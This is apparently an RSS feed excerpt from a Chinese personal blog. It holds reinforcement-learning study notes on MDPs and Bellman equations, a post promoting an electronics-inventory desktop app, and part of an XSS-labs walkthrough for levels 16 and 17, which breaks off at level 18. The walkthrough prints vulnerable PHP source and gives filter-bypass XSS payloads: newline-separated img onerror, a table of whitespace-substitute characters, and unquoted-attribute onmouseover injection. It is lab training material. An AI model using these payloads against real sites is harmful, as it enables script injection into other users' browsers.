p_\pi(s_1|s_3) &amp;#x26; p_\pi(s_2|s_3) &amp;#x26; p_\pi(s_3|s_3) &amp;#x26; p_\pi(s_4|s_3) \
p_\pi(s_1|s_4) &amp;#x26; p_\pi(s_2|s_4) &amp;#x26; p_\pi(s_3|s_4) &amp;#x26; p_\pi(s_4|s_4)
\end{bmatrix}
}&lt;em&gt;{P&lt;/em&gt;\pi}
\underbrace{
\begin{bmatrix}
v_\pi(s_1) \
v_\pi(s_2) \
v_\pi(s_3) \
v_\pi(s_4)
\end{bmatrix}
}&lt;em&gt;{v&lt;/em&gt;\pi}
$$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;求解方法&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 封闭解 (Closed Form Solution)&lt;/strong&gt;
可以直接通过矩阵求逆求解：&lt;/p&gt;
&lt;p&gt;$$
v_\pi = (I - \gamma P_\pi)^{-1} r_\pi
$$&lt;/p&gt;
&lt;p&gt;&lt;em&gt;缺点：当状态空间巨大时，求逆运算量过大，不可行。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 迭代法 (Iterative Solution)&lt;/strong&gt;
即策略评估 (Policy Evaluation) 的基础：&lt;/p&gt;
&lt;p&gt;$$
v_{k+1} = r_\pi + \gamma P_\pi v_k, \quad k = 0, 1, 2, \dots
$$&lt;/p&gt;
&lt;p&gt;&lt;em&gt;结论：当 $k \to \infty$ 时，序列收敛于真实价值 $v_{\pi}$。&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;5. 动作价值 (Action Value)&lt;/h2&gt;
&lt;h3&gt;定义与对比&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;State Value ($v_{\pi}$)&lt;/strong&gt;: Agent 从一个 State 出发得到的平均 Return。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Action Value ($q_{\pi}$)&lt;/strong&gt;: Agent 从一个 State 出发，&lt;strong&gt;先采取特定 Action&lt;/strong&gt;，随后遵循策略 $\pi$ 得到的平均 Return。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;定义公式：&lt;/p&gt;
&lt;p&gt;$$
q_\pi(s, a) \doteq \mathbb{E}[G_t \mid S_t = s, A_t = a]
$$&lt;/p&gt;
&lt;p&gt;它依赖于两个要素：当前的状态-动作对 (State-Action Pair) 和后续遵循的策略 $\pi$。&lt;/p&gt;
&lt;h3&gt;二者关系&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. State Value 是 Action Value 的期望&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;$$
v_\pi(s) = \sum_{a \in \mathcal{A}} \pi(a|s) q_\pi(s, a)
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Action Value 的展开&lt;/strong&gt;
将 $q_\pi(s, a)$ 展开为即时奖励与下一状态价值的和：&lt;/p&gt;
&lt;p&gt;$$
q_{\pi}(s,a) = \sum_{r \in \mathcal{R}} p(r|s,a)r + \gamma \sum_{s&apos; \in \mathcal{S}} p(s&apos;|s,a)v_{\pi}(s&apos;)
$$&lt;/p&gt;
&lt;p&gt;结合上述两点，再次印证了贝尔曼公式的递归结构：&lt;/p&gt;
&lt;p&gt;$$
v_{\pi}(s) = \sum_{a} \pi(a|s) \underbrace{\left[ \sum_{r} p(r|s,a)r + \gamma \sum_{s&apos;} p(s&apos;|s,a)v_{\pi}(s&apos;) \right]}&lt;em&gt;{q&lt;/em&gt;{\pi}(s,a)}
$$&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;总结&lt;/strong&gt;：只要知道所有的 State Value，就可以求出所有的 Action Value，反之亦然。&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>RL学习笔记：基本概念</title><link>https://zh.maxtonniu.com/blog/rl_chapter01</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/rl_chapter01</guid><description>整理了强化学习中的State、Action、Reward等核心定义，以及马尔可夫决策过程（MDP）的组成要素。</description><pubDate>Sun, 15 Feb 2026 19:45:00 GMT</pubDate><content:encoded>&lt;h1&gt;基本概念&lt;/h1&gt;
&lt;h2&gt;一、核心定义&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;State (状态)&lt;/strong&gt;
Agent 相对于环境的一个状态（Status）。在网格世界中，通常被视为 Agent 所在的坐标位置。例如 $S_1$ 可表示为向量坐标：
$$S_1 = \begin{pmatrix} x \ y \end{pmatrix}$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;State space (状态空间)&lt;/strong&gt;
所有可能状态的集合，记为 $\mathcal{S}$。例如：$S=\left{s_{i}\right}_{i=1}^{9}$。本质上就是一个集合（Set）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Action (动作)&lt;/strong&gt;
对于每一个状态 (State)，Agent 可以采取的行动。例如在网格世界中可能有五个：上、下、左、右、不动。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Action space (动作空间)&lt;/strong&gt;
针对某个特定状态 $s_i$，所有可能采取的动作集合，记为 $\mathcal{A}(s_{i}) = \left{a_{i}\right}_{i=1}^{5}$。
&lt;em&gt;注意：Action 往往依赖于 State，即 $\mathcal{A}$ 是 $s$ 的函数。&lt;/em&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;State transition (状态转移)&lt;/strong&gt;
采取某个行动后，Agent 从当前状态转移到另一个状态的过程，记为 $S_{1}\stackrel{a_2}{\longrightarrow}S_{2}$。
这定义了 Agent 与环境交互的机制。在虚拟环境中可任意定义，但在现实世界中必须遵循客观物理规律。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;State transition probability (状态转移概率)&lt;/strong&gt;
用概率描述状态转移的不确定性。例如在 $S_1$ 选择 $a_2$，转移到 $S_2$ 的概率：&lt;/p&gt;
&lt;p&gt;$$
p(s&apos;|s, a) \Rightarrow \begin{cases} p(s_{2}|s_{1},a_{2})=1 \ p(s_{i}|s_{1},a_{2})=0, &amp;#x26; \forall i\neq2 \end{cases}
$$&lt;/p&gt;
&lt;p&gt;上例为确定性环境，当然也可能是随机环境。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Policy (策略)&lt;/strong&gt;
指导 Agent 在特定 State 下应该采取什么 Action 的规则。可以视为一个函数或映射 $\pi$。
例如一个确定性策略（Deterministic Policy）：&lt;/p&gt;
&lt;p&gt;$$
\pi(a|s) \Rightarrow \begin{cases} \pi(a_{2}|s_{1})=1 \ \pi(a_{i}|s_{1})=0, &amp;#x26; \forall i\neq2 \end{cases}
$$&lt;/p&gt;
&lt;p&gt;随机策略（Stochastic Policy）同理，$\pi$ 即为选择该动作的概率。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Reward (奖励)&lt;/strong&gt;
Agent 采取动作后，环境反馈的一个&lt;strong&gt;标量实数&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;正数通常代表奖励（鼓励行为）；&lt;/li&gt;
&lt;li&gt;负数通常代表惩罚（抑制行为）。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Reward 是人机交互（Human-Machine Interface）的关键手段，用于引导 Agent 表现出我们预期的行为。数学表达：&lt;/p&gt;
&lt;p&gt;$$
p(r=-1|s_{1},a_{1})=1 \quad \text{and} \quad p(r\neq-1|s_{1},a_{1})=0
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Trajectory (轨迹)&lt;/strong&gt;
一条完整的 State-Action-Reward 链。即：在某 State 采取某 Action，得到 Reward 并转移到下一 State，如此循环。&lt;/p&gt;
&lt;p&gt;$$
S_{1} \xrightarrow[r=0]{a_3} S_{4} \xrightarrow[r=-1]{a_3} S_{7} \xrightarrow[r=0]{a_2} S_{8} \xrightarrow[r=+1]{a_2} S_{9}
$$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Return (回报)&lt;/strong&gt;
一个 Trajectory 中所有 Reward 的总和。不同的 Policy 会导致不同的 Return。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Discounted Return (折扣回报)&lt;/strong&gt;
对于无限运行的 Trajectory，直接求和会导致 Return 无穷大（发散）。引入折扣因子 $\gamma \in [0,1)$：&lt;/p&gt;
&lt;p&gt;$$
\text{Return} = 0+0+1+1+\dots = \infty \quad (\text{发散})
$$&lt;/p&gt;
&lt;p&gt;引入 $\gamma$ 后：&lt;/p&gt;
&lt;p&gt;$$
G_t = R_{t+1} + \gamma R_{t+2} + \gamma^2 R_{t+3} + \dots = \sum_{k=0}^{\infty} \gamma^k R_{t+k+1}
$$&lt;/p&gt;
&lt;p&gt;举例：&lt;/p&gt;
&lt;p&gt;$$
\text{Discounted Return} = \gamma^{3}(1+\gamma+\gamma^{2}+\ldots) = \frac{\gamma^{3}}{1-\gamma} \quad (\text{收敛})
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;$\gamma$ 的作用&lt;/strong&gt;：决定 Agent 的“视野”。$\gamma$ 越小越短视（注重眼前利益），$\gamma$ 越大越远视（注重长期利益）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Episode (回合)&lt;/strong&gt;
Agent 根据 Policy 与环境交互，直到达到&lt;strong&gt;终止状态 (Terminal State)&lt;/strong&gt; 停止，这段完整的轨迹称为一个 Episode (或 Trial)。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Episodic Tasks&lt;/strong&gt;: 有终止状态，任务会结束。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Continuing Tasks&lt;/strong&gt;: 没有终止状态，任务无限进行。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;h2&gt;二、MDP (马尔可夫决策过程) 要素&lt;/h2&gt;
&lt;h3&gt;1. Sets (集合)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;State&lt;/strong&gt;: 状态集合 $\mathcal{S}$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Action&lt;/strong&gt;: 动作集合 $\mathcal{A}(s)$，其中 $s \in \mathcal{S}$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reward&lt;/strong&gt;: 奖励集合 $\mathcal{R}(s,a)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2. Probability Distribution (概率分布/动力学)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;State transition probability&lt;/strong&gt;: $p(s&apos;|s,a)$&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reward probability&lt;/strong&gt;: $p(r|s,a)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3. Policy (策略)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Agent 的决策机制：$\pi(a|s)$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. MDP Property (性质)&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Memoryless (无记忆性 / 马尔可夫性)&lt;/strong&gt;:
下一时刻的状态和奖励，仅取决于当前时刻的状态和动作，与之前的历史无关。&lt;/p&gt;
&lt;p&gt;$$
p(s_{t+1}, r_{t+1} | s_t, a_t, s_{t-1}, \dots) = p(s_{t+1}, r_{t+1} | s_t, a_t)
$$&lt;/p&gt;
&lt;h3&gt;5. MDP vs Markov Process&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Markov Process (马尔可夫过程)&lt;/strong&gt;: 只有 State 和 Transition Probability。观察者只能被动接受环境按概率发生的演变，无法干预。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MDP (马尔可夫决策过程)&lt;/strong&gt;: 增加了 &lt;strong&gt;Decision (决策/动作)&lt;/strong&gt;。
状态的转移不仅取决于当前状态，还取决于 Agent 采取的 &lt;strong&gt;Action&lt;/strong&gt;。Agent 可以通过选择不同的 Action 来改变未来状态分布的概率，从而主动影响结果。&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>告别混乱：我如何用 SiliconVault 优雅地管理电子元器件库存</title><link>https://zh.maxtonniu.com/blog/siliconvault</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/siliconvault</guid><description>一款高颜值的本地化电子元器件库存管理工具。基于 Electron + Vue 3 开发，支持智能布局、BOM 一键扣减与数据可视化，专为硬件开发者打造。</description><pubDate>Fri, 06 Feb 2026 18:37:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;写在前面&lt;/strong&gt;：作为一个电子爱好者，最头疼的往往不是电路设计，而是满桌子散落的电阻电容，和永远对不上的库存表格。SiliconVault 是我为了解决这个问题而开发的桌面应用。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;为什么开发 SiliconVault？&lt;/h2&gt;
&lt;p&gt;相信很多做硬件开发的朋友都有过这样的经历：Excel 表格越记越乱，买重了元器件是常事，做项目时才发现关键芯片缺货，甚至为了找一盘 0603 的电阻翻遍了所有收纳盒。&lt;/p&gt;
&lt;p&gt;市面上的 ERP 系统太过庞大臃肿，而简单的表格又无法满足 BOM 级联和图片管理的需求。我想要一个&lt;strong&gt;轻量、本地化、高颜值且操作丝滑&lt;/strong&gt;的工具。&lt;/p&gt;
&lt;p&gt;于是，&lt;strong&gt;SiliconVault&lt;/strong&gt; 诞生了。它基于 Electron + Vue 3 + TypeScript 构建，底层使用 SQLite 保证高性能，旨在为个人开发者提供丝滑的库存管理体验。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;不仅是管理，更是享受&lt;/h2&gt;
&lt;p&gt;我重点重构了交互逻辑，引入了“智能布局”和“高级资源包”，让软件不仅仅是一个数据库，更是一个顺手的效率工具。&lt;/p&gt;
&lt;h3&gt;1. 只有你能定义的“智能布局系统” (Smart Layout)&lt;/h3&gt;
&lt;p&gt;不同类型的元器件，我们需要关注的信息截然不同。对于电阻，我们看重&lt;strong&gt;阻值&lt;/strong&gt;和&lt;strong&gt;精度&lt;/strong&gt;；对于芯片，我们更关心&lt;strong&gt;具体型号&lt;/strong&gt;和&lt;strong&gt;功能描述&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;我引入了 &lt;strong&gt;2x2 插槽布局配置&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;左上 (核心大字)&lt;/strong&gt;：一目了然的关键信息（如 10kΩ 或 STM32F103）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;右上 (胶囊标签)&lt;/strong&gt;：辅助分类（如 0603 封装）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;左下 &amp;#x26; 右下&lt;/strong&gt;：次要参数和位置信息。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这意味着，你现在的电阻列表和芯片列表，可以拥有完全不同的视觉呈现，信息密度由你掌控。&lt;/p&gt;
&lt;h3&gt;2. 面向“生产”的 BOM 管理与一键扣减&lt;/h3&gt;
&lt;p&gt;做项目时，我们通常是按 BOM（物料清单）来领料的。SiliconVault 内置了完整的 BOM 项目管理功能。&lt;/p&gt;
&lt;p&gt;你可以创建一个项目，导入所需的元器件清单。软件会自动计算库存缺口。当你完成焊接制作后，只需点击 &lt;strong&gt;“执行生产扣减”&lt;/strong&gt;，系统就会根据你制作的板子数量，自动扣除所有关联元器件的库存。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文件关联&lt;/strong&gt;功能，你可以把 PCB 投板文件、原理图 PDF 直接挂载在项目下，再也不用去文件夹里到处找资料了。&lt;/p&gt;
&lt;h3&gt;3. 数据可视化：看见你的“消耗习惯”&lt;/h3&gt;
&lt;p&gt;元器件买了一堆，到底用了多少？钱都花哪去了？&lt;/p&gt;
&lt;p&gt;新的&lt;strong&gt;消耗看板 (Analytics Dashboard)&lt;/strong&gt; 彻底重写了底层算法。现在，它不仅能区分你是“手动出库”还是“BOM 生产消耗”，还能通过热力图展示你的活跃时段。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;玫瑰图&lt;/strong&gt;：直观展示各类元件的消耗占比。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;趋势图&lt;/strong&gt;：支持日/周/月维度的消耗追踪。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;消耗强度&lt;/strong&gt;：系统会自动评估你的近期活跃度（Low/Medium/High）。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. 真正好用的导入导出与“资源包”&lt;/h3&gt;
&lt;p&gt;数据迁移一直是痛点。本软件引入了 &lt;strong&gt;&lt;code&gt;.svdata&lt;/code&gt; 资源包&lt;/strong&gt; 概念。&lt;/p&gt;
&lt;p&gt;这不仅仅是导出 CSV 表格，它能将你的&lt;strong&gt;数据库记录、元器件图片、Datasheet 文档&lt;/strong&gt;全部打包成一个文件。&lt;/p&gt;
&lt;p&gt;当你需要从家里电脑同步到实验室电脑时，导入向导会自动进行&lt;strong&gt;冲突检测&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个电阻已经存在了，是覆盖还是跳过？&lt;/li&gt;
&lt;li&gt;图片是否有变化？&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;系统会列出详细的对比清单，把选择权交给你，确保数据绝对安全。&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;细节之美：向 iOS 看齐的体验&lt;/h2&gt;
&lt;p&gt;作为一个“颜控”开发者，我对 SiliconVault 的审美要求是向 iOS/macOS 的原生应用看齐。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;丝滑动画&lt;/strong&gt;：所有的列表加载、弹窗过渡，都经过了精心调优。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;暗色模式&lt;/strong&gt;：默认采用了深邃的暗色主题，长时间使用不刺眼。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;容错设计&lt;/strong&gt;：批量编辑时支持“负库存预警”，防止误操作导致数据异常。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;结语与下载&lt;/h2&gt;
&lt;p&gt;SiliconVault 是我目前最满意的版本，它解决了我自己管理上千种元器件的真实痛点。如果你也受够了凌乱的电子实验室，不妨试试这个工具。&lt;/p&gt;
&lt;p&gt;它完全&lt;strong&gt;本地运行&lt;/strong&gt;，数据掌握在你自己手中，且完全&lt;strong&gt;免费&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Maxthten/SiliconVault&quot;&gt;Maxthten/SiliconVault: SiliconVault | 基于 Vue3 + Electron 的简约高级感电子元件管理助手。iOS 审美风格，丝滑交互体验。非常适合新手，电子爱好者使用。&lt;/a&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;本文使用 SiliconVault v1.1.3 撰写，基于 Electron, Vue 3, TypeScript 构建。&lt;/em&gt;&lt;/p&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Xss-labs通关全解&amp;&amp;XSS笔记04</title><link>https://zh.maxtonniu.com/blog/xsslabs04</link><guid isPermaLink="true">https://zh.maxtonniu.com/blog/xsslabs04</guid><description>分析以及笔记</description><pubDate>Fri, 26 Dec 2025 18:37:00 GMT</pubDate><content:encoded>&lt;h2&gt;第十六关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;);
 window.location.href=&quot;level17.php?arg01=a&amp;#x26;arg02=b&quot;; 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level16&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level16&amp;#x3C;/h1&gt;
&amp;#x3C;?php 
ini_set(&quot;display_errors&quot;, 0);
$str = strtolower($_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;script&quot;,&quot; &quot;,$str);
$str3=str_replace(&quot; &quot;,&quot; &quot;,$str2);
$str4=str_replace(&quot;/&quot;,&quot; &quot;,$str3);
$str5=str_replace(&quot;    &quot;,&quot; &quot;,$str4);
echo &quot;&amp;#x3C;center&gt;&quot;.$str5.&quot;&amp;#x3C;/center&gt;&quot;;
?&gt;
&amp;#x3C;center&gt;&amp;#x3C;img src=level16.png&gt;&amp;#x3C;/center&gt;
&amp;#x3C;?php 
echo &quot;&amp;#x3C;h3 align=center&gt;payload的长度:&quot;.strlen($str5).&quot;&amp;#x3C;/h3&gt;&quot;;
?&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;


&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.从源码分析可以得到 这一关无法使用大小写绕过，无法使用&lt;code&gt;script&lt;/code&gt; 甚至于&lt;code&gt; &lt;/code&gt;（空格）都被转译成了 &lt;code&gt;&amp;#x26;nbsp&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;$str = strtolower($_GET[&quot;keyword&quot;]);
$str2=str_replace(&quot;script&quot;,&quot; &quot;,$str);
$str3=str_replace(&quot; &quot;,&quot; &quot;,$str2);
$str4=str_replace(&quot;/&quot;,&quot; &quot;,$str3);
$str5=str_replace(&quot;    &quot;,&quot; &quot;,$str4);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;既然不让使用&lt;code&gt;&amp;#x3C;script&gt;&lt;/code&gt; 那么不妨使用 &lt;code&gt;&amp;#x3C;img&gt;&lt;/code&gt;、&lt;code&gt;&amp;#x3C;svg&gt;&lt;/code&gt;、&lt;code&gt;&amp;#x3C;body&gt;&lt;/code&gt; 等等，但是这中间的空格怎么办呢。&lt;/p&gt;
&lt;p&gt;2.解析 HTML 的时候特别宽容。除了&lt;strong&gt;空格（Space, %20）&lt;/strong&gt;，它还认其他的“空白字符”作为分隔符。被封了空格，被封了 Tab还有&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;回车符（CR, Carriage Return）&lt;/strong&gt; -&gt; URL 编码是 &lt;code&gt;%0d&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;换行符（LF, Line Feed）&lt;/strong&gt; -&gt; URL 编码是 &lt;code&gt;%0a&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以，我们的思路就是：&lt;strong&gt;用 &lt;code&gt;%0a&lt;/code&gt; 或者 &lt;code&gt;%0d&lt;/code&gt; 代替空格，把标签属性隔开。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.那么我们就可以构造最经典的&lt;code&gt;&amp;#x3C;img&gt;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;keyword=&amp;#x3C;img%0asrc=x%0aonerror=alert(1)&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者还可以使用&lt;a href=&quot;#%E6%A0%87%E7%AD%BE%E9%80%83%E9%80%B8&quot;&gt;标签逃逸&lt;/a&gt; 中的其他办法&lt;/p&gt;
&lt;h3&gt;空格绕过全家桶&lt;/h3&gt;
&lt;p&gt;| &lt;strong&gt;字符大名&lt;/strong&gt;       | &lt;strong&gt;URL编码&lt;/strong&gt; | &lt;strong&gt;在 Level 16 的下场&lt;/strong&gt; | &lt;strong&gt;实战地位&lt;/strong&gt;     | &lt;strong&gt;原理解析&lt;/strong&gt;                                                   |
| -------------- | --------- | ------------------ | ------------ | ---------------------------------------------------------- |
| &lt;strong&gt;空格 (Space)&lt;/strong&gt; | &lt;code&gt;%20&lt;/code&gt;     | &lt;strong&gt;被干死了&lt;/strong&gt;           | 炮灰           | 最标准的空格。正因为太标准，所有 WAF 第一刀砍的绝对是它。这题直接 &lt;code&gt;str_replace&lt;/code&gt; 换成空，没法用。 |
| &lt;strong&gt;制表符 (Tab)&lt;/strong&gt;  | &lt;code&gt;%09&lt;/code&gt;     | &lt;strong&gt;被干死了&lt;/strong&gt;           | 替补           | 也就是键盘上的 Tab 键。很多懒狗开发只过滤 &lt;code&gt;%20&lt;/code&gt; 忘了 &lt;code&gt;%09&lt;/code&gt;，但这题作者把这也堵上了。        |
| &lt;strong&gt;换行符 (LF)&lt;/strong&gt;   | &lt;code&gt;%0a&lt;/code&gt;     | &lt;strong&gt;✅ 存活 (MVP)&lt;/strong&gt;     | &lt;strong&gt;隐形刺客&lt;/strong&gt;     | Linux 系统的换行。浏览器把它当空格认，但 PHP 代码里没过滤它。&lt;strong&gt;这就是本题解法&lt;/strong&gt;。           |
| &lt;strong&gt;回车符 (CR)&lt;/strong&gt;   | &lt;code&gt;%0d&lt;/code&gt;     | &lt;strong&gt;✅ 存活 (MVP)&lt;/strong&gt;     | &lt;strong&gt;备胎&lt;/strong&gt;       | Windows 系统的回车前一半。跟 &lt;code&gt;%0a&lt;/code&gt; 是一路货色，这题也能用它过。                    |
| &lt;strong&gt;斜杠 (Slash)&lt;/strong&gt; | &lt;code&gt;/&lt;/code&gt;       | &lt;strong&gt;被干死了&lt;/strong&gt;           | &lt;strong&gt;God Like&lt;/strong&gt; | 神技。&lt;code&gt;&amp;#x3C;img/src=x&gt;&lt;/code&gt; 这种写法完全不需要任何空白符。可惜这题防住了，不然这才是最骚的。          |
| &lt;strong&gt;换页符 (FF)&lt;/strong&gt;   | &lt;code&gt;%0c&lt;/code&gt;     | 看运气                | 神经病          | 极冷门字符。有的老旧浏览器或者特定环境才认。实在没办法了可以拿出来碰碰运气。                     |
| &lt;strong&gt;垂直制表符&lt;/strong&gt;      | &lt;code&gt;%0b&lt;/code&gt;     | 看运气                | 神经病二号        | 同上，属于死马当活马医的选项。                                            |&lt;/p&gt;
&lt;h2&gt;第十七关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;#x3C;!DOCTYPE html&gt;&amp;#x3C;!--STATUS OK--&gt;&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
&amp;#x3C;meta http-equiv=&quot;content-type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;
&amp;#x3C;script&gt;
window.alert = function()  
{     
confirm(&quot;完成的不错！&quot;); 
}
&amp;#x3C;/script&gt;
&amp;#x3C;title&gt;欢迎来到level17&amp;#x3C;/title&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
&amp;#x3C;h1 align=center&gt;欢迎来到level17&amp;#x3C;/h1&gt;
&amp;#x3C;?php
ini_set(&quot;display_errors&quot;, 0);
echo &quot;&amp;#x3C;embed src=xsf01.swf?&quot;.htmlspecialchars($_GET[&quot;arg01&quot;]).&quot;=&quot;.htmlspecialchars($_GET[&quot;arg02&quot;]).&quot; width=100% heigth=100%&gt;&quot;;
?&gt;
&amp;#x3C;h2 align=center&gt;成功后，&amp;#x3C;a href=level18.php?arg01=a&amp;#x26;arg02=b&gt;点我进入下一关&amp;#x3C;/a&gt;&amp;#x3C;/h2&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;1.它考的不是 Flash 漏洞，而是&lt;strong&gt;HTML 解析的一个经典逻辑&lt;/strong&gt;，所以flash坏了也没事&lt;/p&gt;
&lt;p&gt;2.核心代码&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;echo &quot;&amp;#x3C;embed src=xsf01.swf?&quot;.htmlspecialchars($_GET[&quot;arg01&quot;]).&quot;=&quot;.htmlspecialchars($_GET[&quot;arg02&quot;]).&quot; width=100% heigth=100%&gt;&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;坏消息，经过过滤了，好多都不能使用了，好消息，&lt;code&gt;src=xsf01.swf?...&lt;/code&gt;。 &lt;strong&gt;没有引号！没有引号！没有引号！&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在 HTML 语法里，如果一个属性的值没有用引号包裹，浏览器怎么知道这个属性值在哪里结束？ &lt;strong&gt;答案是：遇到空格就结束。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;3.那么我们就可以利用&lt;code&gt;arg02&lt;/code&gt; 来构造&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;level17.php?arg01=a&amp;#x26;arg02=b%20onmouseover=alert(1)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们让 &lt;code&gt;arg01&lt;/code&gt; 随便填个 &lt;code&gt;a&lt;/code&gt;。我们在 &lt;code&gt;arg02&lt;/code&gt; 里填：&lt;code&gt;b onmouseover=alert(1)&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;第十八关&lt;/h2&gt;
&lt;p&gt;源码呈现&lt;/p&gt;
